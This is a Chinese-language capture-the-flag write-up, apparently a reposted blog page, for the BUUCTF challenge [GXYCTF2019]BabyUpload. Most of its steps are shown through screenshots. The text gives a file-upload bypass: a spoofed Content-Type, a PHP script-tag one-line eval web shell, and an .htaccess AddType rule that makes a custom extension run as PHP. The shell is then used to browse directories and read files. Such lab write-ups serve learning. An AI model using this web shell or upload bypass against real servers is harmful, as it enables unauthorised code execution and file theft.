https://buuoj.cn/challenges#[GXYCTF2019]BabyUpload![在这里插入图片描述 BUUCTF:[GXYCTF2019]BabyUpload_后缀名](https://file.cfanz.cn/uploads/png/2023/06/19/16/F33b61c9V2.png)
![在这里插入图片描述 BUUCTF:[GXYCTF2019]BabyUpload_后缀名_02](https://file.cfanz.cn/uploads/png/2023/06/19/16/078A23890G.png)
有几个上传限制,一起来看一下1、后缀名不能有ph!对于文件后缀名的限制,无法绕过这里
![在这里插入图片描述 BUUCTF:[GXYCTF2019]BabyUpload_后缀名_03](https://file.cfanz.cn/uploads/png/2023/06/19/16/CE2UJda418.png)
2、上传类型也太露骨了吧!对Content-Type的限制,修改为image/jpeg即可绕过
![在这里插入图片描述 BUUCTF:[GXYCTF2019]BabyUpload_上传_04](https://file.cfanz.cn/uploads/png/2023/06/19/16/6Z0eTE1a03.png)
3、诶,别蒙我啊,这标志明显还是php啊对上传文件的内容进行了检测,不能含有<?,这里的PHP版本为:PHP/5.6.23,可以使用<script language="php">eval($_POST['mochu7']);</script>绕过
![在这里插入图片描述 BUUCTF:[GXYCTF2019]BabyUpload_上传_05](https://file.cfanz.cn/uploads/png/2023/06/19/16/957688e3L4.png)
只有文件名那里无法直接绕过,本来看到这里的WEB应用服务器是openresty没有直接想到.htaccess,后经查阅资料发现nginx也是可以支持.htaccess的,所以这里就可以利用上传一个.htaccess文件将别的后缀名文件内容解析为php程序
AddType application/x-httpd-php .mochu![在这里插入图片描述 BUUCTF:[GXYCTF2019]BabyUpload_php_06](https://file.cfanz.cn/uploads/png/2023/06/19/16/HS6e7A7956.png)
然后上传shell即可
![在这里插入图片描述 BUUCTF:[GXYCTF2019]BabyUpload_后缀名_07](https://file.cfanz.cn/uploads/png/2023/06/19/16/149E3365c6.png)
有disable_functions,但看了一下被禁用的函数,还是可以进行目录浏览和文件读取
![在这里插入图片描述 BUUCTF:[GXYCTF2019]BabyUpload_上传_08](https://file.cfanz.cn/uploads/png/2023/06/19/16/61X555b38C.png)
![在这里插入图片描述 BUUCTF:[GXYCTF2019]BabyUpload_上传_09](https://file.cfanz.cn/uploads/png/2023/06/19/16/T644607681.png)
![在这里插入图片描述 BUUCTF:[GXYCTF2019]BabyUpload_上传_10](https://file.cfanz.cn/uploads/png/2023/06/19/16/8JJ1Kd63N3.png)










